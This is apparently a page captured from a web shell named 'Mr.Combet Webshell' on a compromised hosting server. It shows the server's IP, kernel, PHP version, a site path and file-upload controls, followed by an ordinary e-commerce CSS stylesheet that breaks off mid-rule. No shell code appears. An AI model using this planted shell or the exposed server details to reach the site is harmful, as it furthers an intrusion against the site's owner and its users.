Mr.Combet Webshell
Your IP :
3.15.168.61
Server IP :
185.136.159.155
Server :
Linux 185-136-159-155.cprapid.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software :
Apache
PHP Version :
8.1.29
Add File :
Submit
Add Directory :
Submit
Dir :
~
/
home
/
jaibalajigroup
/
public_html
/
assets
/
front
/
css
/
View File Name :
ecommerce-style.css
/*=========================== 1. COMMON css ===========================*/ @font-face { font-family: 'Sofia Pro'; src: url('../fonts/sofia/SofiaPro-Bold.woff2') format('woff2'), url('../fonts/sofia/SofiaPro-Bold.woff') format('woff'); font-weight: bold; font-style: normal; font-display: swap; } @font-face { font-family: 'Sofia Pro'; src: url('../fonts/sofia/SofiaPro-Medium.woff2') format('woff2'), url('../fonts/sofia/SofiaPro-Medium.woff') format('woff'); font-weight: 500; font-style: normal; font-display: swap; } @font-face { font-family: 'Sofia Pro'; src: url('../fonts/sofia/SofiaPro-Light.woff2') format('woff2'), url('../fonts/sofia/SofiaPro-Light.woff') format('woff'); font-weight: 300; font-style: normal; font-display: swap; } @font-face { font-family: 'Sofia Pro'; src: url('../fonts/sofia/') format('woff2'), url('../fonts/sofia/SofiaPro.woff') format('woff'); font-weight: normal; font-style: normal; font-display: swap; } @font-face { font-family: 'Sofia Pro'; src: url('../fonts/sofia/SofiaPro-SemiBold.woff2') format('woff2'), url('../fonts/sofia/SofiaPro-SemiBold.woff') format('woff'); font-weight: 600; font-style: normal; font-display: swap; } html { font-size: 100%; } * { margin: 0; padding: 0; -webkit-box-sizing: border-box; box-sizing: border-box; } a { color: inherit; text-decoration: none; -webkit-transition: all 0.3s ease-out 0s; transition: all 0.3s ease-out 0s; } a:hover, a:focus { color: inherit; text-decoration: none; } a:focus, input:focus, textarea:focus, button:focus { text-decoration: none; outline: none; } i, span, a { display: inline-block; } h1, h2, h3, h4, h5 { font-weight: 700; } h1, h2, h3, h4, h5, h6 { color: #000000; margin: 0px; } h1 { font-size: 75px; line-height: 5.6rem; } h2 { font-size: 42px; line-height: 52px; } h3 { font-size: 27px; } h4 { font-size: 24px; } h5 { font-size: 18px; } h6 { font-size: 16px; } ul, ol { margin: 0px; padding: 0px; list-style-type: none; } p { color: #888888; margin: 0px; } input, textarea { display: inherit; } input.placeholder, textarea.placeholder { font-weight: 500; color: #000000; } input:-moz-placeholder, textarea:-moz-placeholder { font-weight: 500; color: #000000; } input::-moz-placeholder, textarea::-moz-placeholder { font-weight: 500; color: #000000; } input::-webkit-input-placeholder, textarea::-webkit-input-placeholder { font-weight: 500; color: #000000; } button { border: none; } body { font-family: 'Sofia Pro'; font-weight: normal; font-style: normal; color: #888888; font-size: 16px; line-height: 26px; overflow-x: hidden; } .bg_cover { background-position: center center; background-size: cover; background-repeat: no-repeat; } .slick-slide { outline: 0; } .form_group { position: relative; } .form_control { width: 100%; padding: 0 20px; height: 50px; border: 1px solid #eaeaea; } .custom-container { max-width: 1720px; margin: auto; padding-left: 15px; padding-right: 15px; } .section-title h2{ font-size: 30px; } /*===== All Button Style =====*/ .main-btn { display: inline-block; padding: 14px 45px; font-size: 14px; font-weight: 600; color: #fff; background: #FF4F4D; text-transform: capitalize; -webkit-transition: all 0.3s ease-out 0s; transition: all 0.3s ease-out 0s; } .main-btn:hover, .main-btn:focus { background: #fff; color: #FF4F4D; } /* Start Preloader css */ .preloader { background-color: #fff; bottom: 0; height: 100%; left: 0; position: fixed; right: 0; top: 0; width: 100%; z-index: 99999; } .preloader img { width: 100%; } .lds-ellipsis { margin: 0 auto; position: fixed; top: 50%; -webkit-transform: translateY(-50%); transform: translate(-50%, -50%); max-width: 150px; text-align: center; z-index: 9999; height: auto; left: 50%; } .lds-ellipsis span { display: inline-block; width: 15px; height: 15px; border-radius: 50%; background: #FF4F4D; -webkit-animation: ball-pulse-sync .6s 0s infinite ease-in-out; animation: ball-pulse-sync .6s 0s infinite ease-in-out; } .lds-ellipsis span:nth-child(1) { -webkit-animation: ball-pulse-sync .6s -.14s infinite ease-in-out; animation: ball-pulse-sync 0.6s -0.14s infinite ease-in-out; } .lds-ellipsis span:nth-child(2) { -webkit-animation: ball-pulse-sync .6s -70ms infinite ease-in-out; animation: ball-pulse-sync 0.6s -70ms infinite ease-in-out; } @-webkit-keyframes ball-pulse-sync { 33% { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } @keyframes ball-pulse-sync { 33% { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } } /* End Preloader css */ /* Start scroll_up css */ .back-to-top { background: #FF4F4D; border-radius: 50%; bottom: 30px; color: #fff; cursor: pointer; display: none; font-size: 20px; width: 50px; height: 50px; line-height: 50px; position: fixed; left: 30px; text-align: center; text-decoration: none; -webkit-transition: all 0.3s ease-out 0s; transition: all 0.3s ease-out 0s; z-index: 337; } .back-to-top:hover, .back-to-top:focus { background: #000000; color: #fff; } /* End scroll_up css */ /*========================== Start Header css ============================*/ /* Header Top */ .header-area .header-top{ background: #FF4F4D; padding: 12px 0; } .header-area .header-top .top-left ul li, .header-area .header-top .top-right ul li{ display: inline-block; } .header-area .header-top .top-center p, .header-area .header-top .top-left ul li a, .header-area .header-top .top-right ul li a{ color: #fff; } .header-area .header-top .top-left ul li:after{ display: inline-block; content: '|'; margin-left: 15px; margin-right: 15px; color: #fff; } .header-area .header-top .top-left ul li:last-child:after{ display: none; } .header-area .header-top .top-right{ float: right; } .header-area .header-top .top-right ul li{ margin-left: 30px; } .header-area .header-top .top-right ul li a.login i{ padding-left: 10px; } /* Header Navigation */ .header-navigation .nav-container{ position: relative; } .header-navigation .nav-container .nav-pushed-item { display: none; margin: 0 20px; margin-bottom: 20px; } .nav-search .form_group i{ position: absolute; top: 15px; right: 20px; } .nav-search .form_group .form_control{ min-width: 300px; background: #EFF3F6; border-radius: 3px; } .header-navigation .nav-container .main-menu ul > li.menu-item-has-children > a:after { content: '\f107'; font-family: "Font Awesome 5 Free"; font-weight: 600; margin-left: 10px; display: inline-block; color: #4f4f4f; font-size: 14px; } .header-navigation .nav-container .main-menu ul li{ display: inline-block; position: relative; } .header-navigation .nav-container .main-menu ul li:first-child > a { padding-left: 0; } .header-navigation .nav-container .main-menu ul li > a { display: block; font-size: 18px; color: #777777; font-weight: 500; text-transform: capitalize; padding: 37px 14px; } .header-navigation .nav-container .main-menu ul li .sub-menu { position: absolute; left: 0; top: 120%; width: 200px; background-color: #fff; opacity: 0; visibility: hidden; -webkit-transition: all 0.3s ease-out 0s; transition: all 0.3s ease-out 0s; z-index: 99; height: auto; } .header-navigation .nav-container .main-menu ul li .sub-menu li { display: block; margin: 0; } .header-navigation .nav-container .main-menu ul li .sub-menu li:last-child > a { border-bottom: none; } .header-navigation .nav-container .main-menu ul li .sub-menu li a { display: block; padding: 8px 15px; font-size: 18px; position: relative; transition: all 0.3s ease-out 0s; border-radius: 0; margin: 0 0; font-weight: 400; line-height: 30px; border-bottom: 1px solid #ececec; color: #6d6d6d; } .header-navigation .nav-container .main-menu ul li .sub-menu li a:hover { background-color: #FF4F4D; color: #fff; border-color: transparent; } .header-navigation .nav-container .main-menu ul li .sub-menu li .sub-menu { left: 100%; top: 50%; } .header-navigation .nav-container .main-menu ul li .sub-menu li:hover .sub-menu { top: 0; } .header-navigation .nav-container .main-menu ul li:hover > a { color: #FF4F4D; } .header-navigation .nav-container .main-menu ul li:hover > .sub-menu { opacity: 1; visibility: visible; top: 100%; } .header-navigation .nav-container .main-menu ul li .dd-trigger { display: none; } .header-navigation .nav-container.breakpoint-on .nav-menu { background-color: #fff; position: fixed; top: 0; left: -300px; z-index: 9999; width: 300px; height: 100%; -webkit-transition-duration: 500ms; transition-duration: 500ms; padding: 0; -webkit-box-shadow: 0 5px 20px rgba(0, 0, 0, 0.1); box-shadow: 0 5px 20px rgba(0, 0, 0, 0.1); display: block; overflow-x: hidden; overflow-y: scroll; padding-top: 70px; } .header-navigation .nav-container.breakpoint-on .nav-menu.menu-on { left: 0; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li { display: block; margin: 0; border-bottom: 1px solid #ececec; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li:last-child { border-bottom: 0; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li.active .sub-menu { border-top: 1px solid #ececec; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li a { display: block; border-bottom: 1px solid rgba(255, 255, 255, 0.5); color: #1b3255 !important; padding: 13px 20px; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li .sub-menu { width: 100%; position: relative; top: 0; left: 0; -webkit-box-shadow: none; box-shadow: none; background-color: transparent; visibility: visible; opacity: 1; display: none; -webkit-transition: none; transition: none; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li .sub-menu li a { color: #1b3255; padding: 0px 20px 0 40px; line-height: 45px !important; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li .sub-menu li a:hover { border-color: rgba(255, 255, 255, 0.5); } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li .dd-trigger { display: block; position: absolute; right: 0; height: 45px; width: 45px; top: 0; border-left: 1px solid rgba(255, 255, 255, 0.5); z-index: 2; background: transparent; text-align: center; line-height: 45px; cursor: pointer; color: #1b3255; font-size: 20px; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu.menu-on { left: 0; } .header-navigation .nav-container.breakpoint-on .nav-pushed-item, .header-navigation .nav-container.breakpoint-on .navbar-close, .header-navigation .nav-container.breakpoint-on .navbar-toggler { display: block; } .header-navigation .navbar-toggler { padding: 0; border: none; background-color: transparent; cursor: pointer; display: none; float: right; } .header-navigation .navbar-toggler span { position: relative; background-color: #252241; border-radius: 3px; display: block; height: 3px; margin-top: 5px; padding: 0; -webkit-transition-duration: 300ms; transition-duration: 300ms; width: 30px; cursor: pointer; display: block; } .header-navigation .navbar-toggler.active span:nth-of-type(1) { -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); top: 8px; } .header-navigation .navbar-toggler.active span:nth-of-type(2) { opacity: 0; } .header-navigation .navbar-toggler.active span:nth-of-type(3) { -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); top: -8px; } .header-navigation .navbar-close { position: absolute; top: 0; right: 0; z-index: 12; display: none; background: #FF4F4D; padding: 5px; } .header-navigation .navbar-close .cross-wrap { width: 26px; height: 26px; cursor: pointer; position: relative; } .header-navigation .navbar-close .cross-wrap span { position: absolute; display: block; width: 100%; height: 2px; border-radius: 6px; background: #fff; } .header-navigation .navbar-close .cross-wrap span.top { top: 12px; left: 0; -webkit-transform: rotate(45deg); transform: rotate(45deg); } .header-navigation .navbar-close .cross-wrap span.bottom { bottom: 12px; left: 0; -webkit-transform: rotate(-45deg); transform: rotate(-45deg); } /*Mega menu*/ .header-navigation .nav-container .main-menu ul li.static { position: static; } .header-navigation .nav-container .main-menu ul li.mega-item ul li a { padding: 5px 0 !important; } .header-navigation .nav-container .main-menu ul li .mega-menu { position: absolute; top: 110%; left: 0; width: 100%; height: auto; background: #fff; padding: 35px 35px 20px; opacity: 0; visibility: hidden; text-align: left; box-shadow: 0px 15px 30px 0px rgba(0, 3, 143, 0.1); transition: .3s; z-index: 9999; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item { margin: 0; margin-bottom: 15px; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item > a { color: #233d63; padding: 0; font-size: 18px; font-weight: 700; text-transform: capitalize; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item ul { margin-top: 5px; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item ul li { display: block; margin: 0; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item ul li:last-child { margin-bottom: 0; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item ul li a { color: #233d63; padding: 0; text-transform: capitalize; font-weight: 400; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item:hover > a { background: transparent; color: #FF4F4D; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item ul li:hover > a { background: transparent; color: #FF4F4D; } .header-navigation .nav-container .main-menu ul li:hover > .mega-menu { opacity: 1; visibility: visible; top: 100%; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li.static { position: relative; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li .mega-menu { position: relative; top: 0; left: 0; width: 100%; height: auto; background: transparent; padding: 0px 20px 0 40px; opacity: 1; visibility: visible; text-align: left; box-shadow: none; display: none; transition: none; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li .mega-menu li a { padding-bottom: 10px; } .header-navigation .nav-container.breakpoint-on .main-menu ul li .mega-menu li.mega-item ul li { margin-bottom: 10px; } /*========================== End Header css ============================*/ /*============================= Start Banner Section css ===============================*/ .banner-area .banner-wrapper .banner-left{ width: 5.5%; padding-top: 55px; } .banner-area .banner-wrapper .banner-left .top-tools{ display: flex; justify-content: space-between; align-items: center; flex-direction: column; height: 100%; } .banner-area .banner-wrapper .banner-left .top-tools ul.social-link li{ display: block; margin-bottom: 15px; } .banner-area .banner-wrapper .banner-left .top-tools ul.social-link li a{ display: flex; align-items: center; justify-content: center; width: 50px; height: 50px; border-radius: 50%; background: #E8E8E8; font-size: 14px; color: #000000; } .banner-area .banner-wrapper .banner-left .hero-arrows{ padding-bottom: 200px; } .banner-area .banner-wrapper .banner-left .hero-arrows .slick-arrow{ width: 50px; height: 50px; display: flex; align-items: center; justify-content: center; border: 1px solid rgba(112, 112, 112, 0.1); border-radius: 50%; cursor: pointer; z-index: 1; margin-bottom: 10px; transition: all .3s; } .banner-area .banner-wrapper .banner-left .hero-arrows .slick-arrow:hover, .banner-area .banner-wrapper .banner-left .hero-arrows .slick-arrow:focus{ border-color: #FF4F4D; color: #FF4F4D;; } .banner-area .banner-wrapper .banner-left .top-tools ul.social-link li a:hover, .banner-area .banner-wrapper .banner-left .top-tools ul.social-link li a:focus{ background: #FF4F4D; color: #fff; } .banner-area .banner-wrapper .banner-right{ width: 94.5%; } .banner-area .banner-wrapper .banner-right .hero-slide .single-hero{ padding: 236px 0 240px; } .banner-area .banner-wrapper .banner-right .hero-slide .single-hero .hero-content span{ font-size: 30px; font-weight: 700; color: #000000; margin-bottom: 12px; text-transform: uppercase; } .banner-area .banner-wrapper .banner-right .hero-slide .single-hero .hero-content h1{ margin-bottom: 40px; } .banner-area .banner-wrapper .banner-right .hero-slide .single-hero .hero-content .main-btn{ padding: 17px 40px; font-size: 21px; font-weight: 400; } .banner-area .banner-wrapper .banner-right .hero-slide .single-hero .hero-content .main-btn i{ padding-left: 10px; } /*========================== End Banner css ============================*/ /*==================================== Start Plus-features Section css ======================================*/ .features-box.slick-slide{ border: none !important; } .plus-features .features-wrapper .features-box .icon i { font-size: 42px; } .plus-features .features-wrapper { border: 1px solid #D9D9D9; padding: 30px; margin-left: -30px; margin-right: -30px; } .plus-features .features-wrapper .features-box { position: relative; margin-left: 30px; margin-right: 30px; } .plus-features .features-wrapper .features-box:last-child:after { display: none; } .plus-features .features-wrapper .features-box:after { position: absolute; content: ''; right: 0px; top: 50%; width: 1px; height: 65px; background: #D9D9D9; -webkit-transform: translateY(-50%); transform: translateY(-50%); } .plus-features .features-wrapper .features-box .info { margin-left: 20px; } /*================================== End Plus-features Section css ====================================*/ /*====================================== Start Plus-categories Section css ========================================*/ .product-categories .section-header{ background: #F2F2F2; padding: 9px 25px; } .product-categories .section-header .section-title h2{ font-size: 24px; } .plus-categories .categories-slide { margin-left: -15px; margin-right: -15px; } .plus-categories .categories-slide .categories-item { padding: 30px 20px; margin-left: 15px; margin-right: 15px; border: 1px solid #D9D9D9; min-height: 200px; max-height: 200px; display: grid; } .plus-categories .categories-slide .categories-item .cat-img{ display: flex; align-items: flex-start; justify-content: center; } .plus-categories .categories-slide .categories-item .cat-content{ display: flex; align-items: flex-end; justify-content: center; } .plus-categories .categories-slide .categories-item img { margin-bottom: 20px; max-width: 100px; max-height: 100px; } .plus-categories .categories-slide .categories-item:hover { border-color: #FF4F4D; } /*====================================== End Plus-categories Section css ========================================*/ /*====================================== Start Plus-featured Section css ========================================*/ .plus-featured-ection .shop-item .shop-info h3 { padding-left: 5px; } .featured-tabs{ border-bottom: 1px solid #D9D9D9; } .featured-tabs .nav-tabs{ border-bottom: none; } .featured-tabs .nav-tabs .nav-item{ margin-right: 40px; } .featured-tabs .nav-tabs .nav-link{ position: relative; border: none; padding: 0; padding-bottom: 12px; background: transparent; } .featured-tabs .nav-tabs .nav-link:hover, .featured-tabs .nav-tabs .nav-link:focus{ color: #FF4F4D; } .featured-tabs .nav-tabs .nav-link.active{ color: #FF4F4D; } .featured-tabs .nav-tabs .nav-link.active:before{ position: absolute; left: 0; content: ''; width: 100%; background: #FF4F4D; height: 1px; bottom: 0; } .featured-tabs .nav-tabs .nav-link.active:after{ position: absolute; content: ''; width: 15px; height: 8px; bottom: -8px; left: 50%; background: #FF4F4D; border-radius: 0 0 30px 30px; transform: translateX(-50%); } .plus-featured-ection .featured-slide{ margin-left: -15px; margin-right: -15px; } .plus-featured-ection .featured-slide .shop-item{ margin-left: 15px; margin-right: 15px; } .plus-featured-ection .featured-slide .shop-item .shop-img img{ margin: auto; } .featured-slide{ margin-top: 30px; } .featured-slide .slick-arrow{ position: absolute; top: -80px; right: 10px; cursor: pointer; z-index: 1; } .featured-slide .slick-arrow:hover{ color: #FF4F4D; } .featured-slide .slick-arrow.prev{ right: 70px; } .featured-slide .slick-arrow.prev span{ padding-left: 5px; } .featured-slide .slick-arrow.next span{ padding-right: 5px; } .shop-item{ border: 1px solid #D9D9D9; padding: 20px; } .shop-item .shop-img{ text-align: center; margin-bottom: 10px; display: block; } .shop-item .shop-info h3{ font-size: 15px; font-weight: 300; line-height: 26px; } .shop-item .shop-info ul.rating li i{ font-size: 15px; color: #A6A6A6; } .shop-item .shop-info ul.rating li span.count{ margin-left: 10px; } .shop-item .shop-info .shop-price { margin-top: 10px; padding-top: 10px; border-top: 1px solid #D9D9D9; } .shop-item .shop-info .shop-price p.price span.off-price{ color: #FF4F4D; } .shop-item .shop-info .shop-price p.price span.main-price{ text-decoration: line-through; margin-right: 15px; } .shop-item .shop-info .shop-price p.price{ position: relative; } .shop-item .shop-info .shop-price p.price:before{ position: absolute; left: -20px; bottom: 6px; content: ''; width: 7px; height: 15px; background: #FF4F4D; border-radius: 0 30px 30px 0; } ul.rating li{ display: inline-block; } /*====================================== End Plus-featured Section css ========================================*/ /*====================================== Start product-categories Section css ========================================*/ .product-categories .shop-categories-slide{ margin-left: -15px; margin-right: -15px; } .product-categories .shop-categories-slide .slick-arrow{ position: absolute; top: 50%; transform: translateY(-50%); cursor:pointer; width: 40px; height: 40px; border: 1px solid #D9D9D9; color: #D9D9D9; border-radius: 50%; text-align: center; line-height: 40px; font-size: 15px; z-index: 1; transition: all .3s; } .product-categories .shop-categories-slide .slick-arrow:hover{ background: #FF4F4D; color: #fff; border-color: transparent; } .product-categories .shop-categories-slide .slick-arrow.prev{ left: -45px; } .product-categories .shop-categories-slide .slick-arrow.next{ right: -45px; } .product-categories .shop-item{ background: #FAFAFA; margin-left: 15px; margin-right: 15px; } .product-categories .shop-item .shop-img{ margin-bottom: 20px; display: block; } .product-categories .shop-item .shop-img img{ width: 100%; } .product-categories .shop-item .shop-info ul.rating{ margin-bottom: 3px; } .product-categories .shop-item .shop-info h3{ font-size: 16px; } .product-categories .shop-item .shop-info ul.rating li.star i{ color: #FCB343; } /*====================================== End product-categories Section css ========================================*/ /*========================== Start Blog Section css ============================*/ .blog-grid-section .blog-item .post-thumb{ position: relative; margin-bottom: 15px; } .blog-grid-section .blog-item .post-thumb img{ width: 100%; } .blog-grid-section .blog-item .post-thumb a.cat{ position: absolute; top: 30px; left: 0; font-size: 19px; font-weight: 300; padding: 5px 15px; background: #000; color: #fff; line-height: 26px; } .blog-grid-section .blog-item .entry-content h3.title{ font-size: 20px; margin-bottom: 10px; } .blog-grid-section .blog-item .entry-content .post-meta ul li span:hover, .blog-grid-section .blog-item .entry-content .post-meta ul li span:focus, .blog-grid-section .blog-item .entry-content h3.title:hover, .blog-grid-section .blog-item .entry-content h3.title:focus{ color: #FF4F4D; } .blog-grid-section .blog-item .entry-content .post-meta ul li{ display: inline-block; position: relative; } .blog-grid-section .blog-item .entry-content .post-meta ul li{ margin-right: 10px; } .blog-grid-section .blog-item .entry-content .post-meta ul li:last-child:after{ display: none; } .blog-grid-section .blog-item .entry-content .post-meta ul li:after{ content: '|'; display: inline-block; margin-left: 17px; margin-right: 5px; } .blog-grid-section .slick-initialized .slick-slide { border: none; } .blog-grid-section .slick-slide { margin: 0 10px; } .blog-grid-section .slick-list { margin: 0 -10px; } /*========================== Start Blog Section css ============================*/ /*=========================== Start Sponsor css ===========================*/ .sponsor-wrapper{ background: #F2F2F2; } .sponsor-slide{ margin-left: -20px; margin-right: -20px; padding-left: 80px; padding-right: 80px; } .sponsor-slide .sponsor-item { text-align: center; margin-left: 20px; margin-right: 20px; } .sponsor-wrapper .slick-initialized .slick-slide { border: none; } .sponsor-wrapper img { width: 100%; } .sponsor-wrapper .slick-slide { margin: 0 15px; } .sponsor-wrapper .slick-list { margin: 0 -15px; } /*=========================== End Sponsor css ===========================*/ /*================================= Start Newsletter section css ==================================*/ .section-title-white h2{ color: #fff; } .plus-newsletter-section{ background: #0B2239; } .plus-newsletter-section .newsletter-form .form_group .form_control{ height: 60px; } .plus-newsletter-section .newsletter-form .form_group .main-btn{ position: absolute; top: 0; right: 0; border-radius: 0px; padding: 17px 55px; } .plus-newsletter-section .newsletter-form .form_group .main-btn:hover, .plus-newsletter-section .newsletter-form .form_group .main-btn:focus{ background: #000; color: #fff; } /*================================= End Newsletter section css ==================================*/ /*========================== Start Footer css ============================*/ .plus-footer .footer-widget { background: #f2f2f2; } .plus-footer .footer-widget .widget h4.widget-title{ margin-bottom: 20px; } .plus-footer .footer-widget .widget.about-widget img{ margin-bottom: 20px; } .plus-footer .footer-widget .widget.about-widget p{ padding-bottom: 10px; } .plus-footer .footer-widget .widget.about-widget p.ip{ padding-left: 30px; position: relative; padding-bottom: 10px; } .plus-footer .footer-widget .widget.about-widget p.ip i{ position: absolute; top: 5px; left: 0; } .plus-footer .footer-widget .widget-catgories ul.link li{ padding-bottom: 10px; } .plus-footer .footer-widget .widget.recent-blog-widget .blog-item{ margin-bottom: 15px; } .plus-footer .footer-widget .widget.recent-blog-widget .blog-item .post-thumb{ min-width: 85px; max-height: 85px; } .plus-footer .footer-widget .widget.recent-blog-widget .blog-item .entry-content{ margin-left: 20px; } .plus-footer .footer-widget .widget.recent-blog-widget .blog-item .entry-content h3.title{ font-size: 18px; } .plus-footer .copyright-area { background: #000; padding: 10px 0; } .plus-footer .copyright-area .payment-option { text-align: right; } /*========================== End Footer css ============================*/ .section-header .section-img img { max-width: 82px; } .shop-item img { width: 100%; } .hero-content * { position: relative; z-index: 100; } .header-navigation .nav-container .main-menu ul li .sub-menu li.submenus { position: relative; } .header-navigation .nav-container .main-menu ul li .sub-menu li.submenus ul { position: absolute; top: 0; left: 200px; width: 100%; background: #fff; border-right: 1px solid #f1f1f1; display: none; } .header-navigation .nav-container .main-menu ul li .sub-menu li.submenus:hover > ul { display: block; } .header-navigation .nav-container .main-menu ul li .sub-menu li.submenus::after { content: '\f101'; font-family: "Font Awesome 5 Free"; position: absolute; right: 15px; top: 50%; font-weight: 600; display: inline-block; transform: translateY(-50%); } .header-navigation .nav-container .main-menu ul li .sub-menu li.submenus:hover::after { color: #fff; } /*Mega menu*/ .header-navigation .nav-container .main-menu ul li.static { position: static; } .header-navigation .nav-container .main-menu ul li .mega-menu { position: absolute; top: 110%; left: 0; width: 100%; max-height: 650px; overflow: hidden; overflow-y: scroll; background: #222; padding: 30px 35px 20px; opacity: 0; visibility: hidden; text-align: left; box-shadow: 0px 15px 30px 0px rgba(0, 3, 143, 0.1); transition: .3s; z-index: 9999; } .header-navigation .nav-container .main-menu ul li .mega-menu::-webkit-scrollbar{ background-color: #ccc; width: 8px; } .header-navigation .nav-container .main-menu ul li .mega-menu::-webkit-scrollbar-thumb { background-color: #00000a; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item:hover > a { background: transparent; color: #FF4F4D; } .header-navigation .nav-container .main-menu ul li .mega-menu li.mega-item ul li:hover > a { background: transparent; color: #FF4F4D; } .header-navigation .nav-container .main-menu ul li:hover > .mega-menu { opacity: 1; visibility: visible; top: 100%; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li.static { position: relative; } .header-navigation .nav-container .main-menu ul li .mega-menu .sidebar-menu .widget-categories .widget-link a{ color: #fff; font-weight: 500; } .header-navigation .nav-container .main-menu ul li .mega-menu .sidebar-menu .widget-categories ul.widget-link li{ margin-bottom: 20px; display: block; } .header-navigation .nav-container .main-menu ul li .mega-menu .sidebar-menu .widget-categories ul.widget-link li:last-child{ margin-bottom: 0px; } .header-navigation .nav-container .main-menu ul li .mega-menu .sidebar-menu .widget-categories ul.widget-link li a:hover, .header-navigation .nav-container .main-menu ul li .mega-menu .sidebar-menu .widget-categories ul.widget-link li.active a{ color: #FF4F4D; } .header-navigation .nav-container .main-menu ul li .mega-menu .sidebar-menu .widget-categories ul.widget-link li a{ font-size: 16px; padding: 0; } .header-navigation .nav-container.breakpoint-on .main-menu ul li .mega-menu .sidebar-menu .widget-categories ul.widget-link li:last-child{ margin-bottom: 20px; } .header-navigation .nav-container.breakpoint-on .nav-menu .main-menu ul li .mega-menu { position: relative; top: 0; left: 0; width: 100%; height: auto; background: transparent; padding: 0px 20px 0 40px; opacity: 1; visibility: visible; text-align: left; box-shadow: none; display: none; transition: none; } .header-navigation .nav-container.breakpoint-on .sidebar-main-wrapper{ display: none; } .sidebar-main-wrapper .mega-row h4.title{ color: #FF4F4D; color: #fff; margin-bottom: 20px; } .sidebar-main-wrapper .mega-row{ margin-bottom: 20px; } .sidebar-main-wrapper .mega-row:last-child{ margin-bottom: 0px; } .sidebar-main-wrapper .box-item .box-img{ margin-bottom: 20px; } .sidebar-main-wrapper .box-item .box-img img{ width: 100%; } .sidebar-main-wrapper .box-item .box-info h4{ font-size: 16px; line-height: 26px; font-weight: 400; } .sidebar-main-wrapper .box-item .box-info h4 a{ padding: 0 !important; color: #fff !important; } .sidebar-main-wrapper .box-item .box-info h4 a:hover{ color: #FF4F4D !important; } .header-navigation .nav-container .main-menu ul li.mega-wrap { width: 100%; } /* Megamenu css end */ form#langForm { max-width: 120px; } a#cartIcon .cart-total { line-height: 18px; } a#cartIcon span.length { line-height: 22px; } .breadcrumb-area .breadcrumb-txt { padding: 100px 0 100px 0px; } ul.breadcumb { margin-top: 17px; } header.header-area { position: relative; z-index: 150; } .searchbar input[type="search"], .searchbar input[type="text"] { height: 50px; padding-left: 15px; } .gallery-area-v1 .gallery-item .gallery-img img { width: 100%; } a.readmore-btn { color: #fff; padding: 15px 0px; line-height: 16px; font-size: 16px; width: 145px; } .searchbar button[type="submit"]:hover, .searchbar input[type="submit"]:hover { color: #fff !important; } .subscribe-form input[type="email"] { width: 100%; height: 50px; padding-left: 20px; } .subscribe-form button[type="submit"], .subscribe-form input[type="submit"] { font-size: 16px; } .product-area .shop-category .category-item ul li a { cursor: pointer; } .product-area .shop-tag .tag-item ul li a { line-height: 32px; padding: 0 12px; margin-right: 3px; margin-bottom: 10px; } .product-area .shop-sidebar .shop-box { padding: 32px 32px 22px 32px; } .checkbox_common li { line-height: 35px; display: flex; margin-bottom: 6px; } .checkbox_common li label { line-height: 15px; margin-left: 10px; } .product-area .shop-tag .tag-item ul li a { cursor: pointer; } button.filter-button { margin-top: 10px; } .shop-dropdown select { width: 100%; height: 45px; padding: 0 20px; } .actions .main-btn { padding: 11px 25px; } a.boxed-btn { padding: 10px 20px; } .sidebar-main-wrapper .box-item .box-img { margin-bottom: 8px; } .sidebar-main-wrapper .mega-row { margin-bottom: 20px !important; } .project-infos { font-size: 15px; } a.proceed-checkout-btn { padding: 0px 20px; } .cart-table tbody tr td.unit-price { padding-top: 0; } .cart-area .cart-table tbody tr td.price { padding-top: 0; } .cart-area .cart-table tbody tr .sub-total { padding-top: 0; } .cart-area .cart-table tbody tr td:last-child { padding-top: 0; } .login-area .login-content .input-btn button { padding: 10px 20px; color: #fff; } .cart-total .payment-options .option-block .checkbox label { display: flex; align-items: center; } .contact-form textarea { padding-top: 11px; } .contact-form input[type="submit"], .contact-form button[type="submit"],.quote-area input[type="submit"], .quote-area button[type="submit"] { border: 1px solid #25D06F; } .contact-form input[type="submit"], .contact-form button[type="submit"],.quote-area input[type="submit"], .quote-area button[type="submit"] { padding: 10px 21px; color: #fff; cursor: pointer; } .contact-form input[type="submit"]:hover, .contact-form button[type="submit"]:hover,.quote-area input[type="submit"]:hover, .quote-area button[type="submit"]:hover { background-color: #fff; } .course-item .course-content .course-admin-price .price span { padding: 0px 15px; } .categorie-box .main-btn { font-size: 14px; } .anonymous_user input { display: inline; } a.see-more { color: #007bff; } .single-pricing-table .price { margin: 0; } .order-comfirmation { padding: 10px 0 120px; } .header-navigation .nav-container .main-menu ul li > a.quote-btn { background: #FF4F4D; color: #fff; padding: 33px 22px; line-height: 0; border-radius: 50px; margin-left: 20px; } .header-navigation .nav-container .main-menu ul li:hover > a.quote-btn { color: #fff; } .product-quantity input { height: 33px !important; } .header-area 